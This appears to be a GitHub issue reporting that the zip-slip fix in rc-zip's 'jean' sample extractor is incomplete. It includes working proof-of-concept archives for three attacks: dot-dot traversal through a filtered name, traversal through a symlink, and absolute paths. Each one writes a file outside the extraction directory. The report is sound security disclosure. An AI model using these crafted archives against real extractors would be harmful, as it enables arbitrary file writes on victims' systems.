More ways to zip slip jean
#13 found a dot-dot directory traversal vulnerability in the jean example program. The mitigation there of stripping ../ from paths is incomplete, and there are still other ways to escape the target directory.
I'm looking at commit d43c16991b30dce0e25862854b16883eb3dd80f0.
Dot-dot
The mitigation for #13 treats file names as strings, and removes all instances of the substring ../ (or ..\ on Windows).
https://github.com/rust-compress/rc-zip/blob/d43c16991b30dce0e25862854b16883eb3dd80f0/samples/jean/src/main.rs#L224-L228
First, ../ should be stripped even on Windows. / is the zip file directory separator, regardless of the separator of the underlying filesystem (see appnote.txt 4.4.17).
Second, a file name may become a directory traversal after being transformed. For example, ..././escape.txt becomes ../escape.txt.
rm -f replace.zip
mkdir ...
touch .../escape.txt
zip -0 -X replace.zip ..././escape.txt
rm -r ...
cargo run -- unzip replace.zip
stat ../escape.txt
Symlink traversal
One entry may be a directory symbolic link pointing outside the target directory, and a later entry may write through the symlink.
This is like CVE-2002-1216 in GNU Tar.
rm -f symlink.zip
ln -s ../ path
zip -0 -X --symlinks symlink.zip path
rm path
mkdir path
touch path/escape.txt
zip -0 -X -D symlink.zip path/escape.txt
rm -r path
cargo run -- unzip symlink.zip
stat ../escape.txt
Absolute path
File names starting with / are treated as absolute and can write outside the target directory. On Windows, prefixes like C:\ and UNC paths like \\ComputerName\ may also work.
This is like CVE-2001-1269 in Info-ZIP UnZip.
import zipfile
with zipfile.ZipFile("absolute.zip", mode="w") as z:
z.writestr("/tmp/escape.txt", "")
python3 absolute.py
cargo run -- unzip absolute.zip
stat /tmp/escape.txt
UnZip strips the absolute prefix in this case:
Archive: absolute.zip
warning: stripped absolute path spec from /tmp/escape.txt
extracting: tmp/escape.txt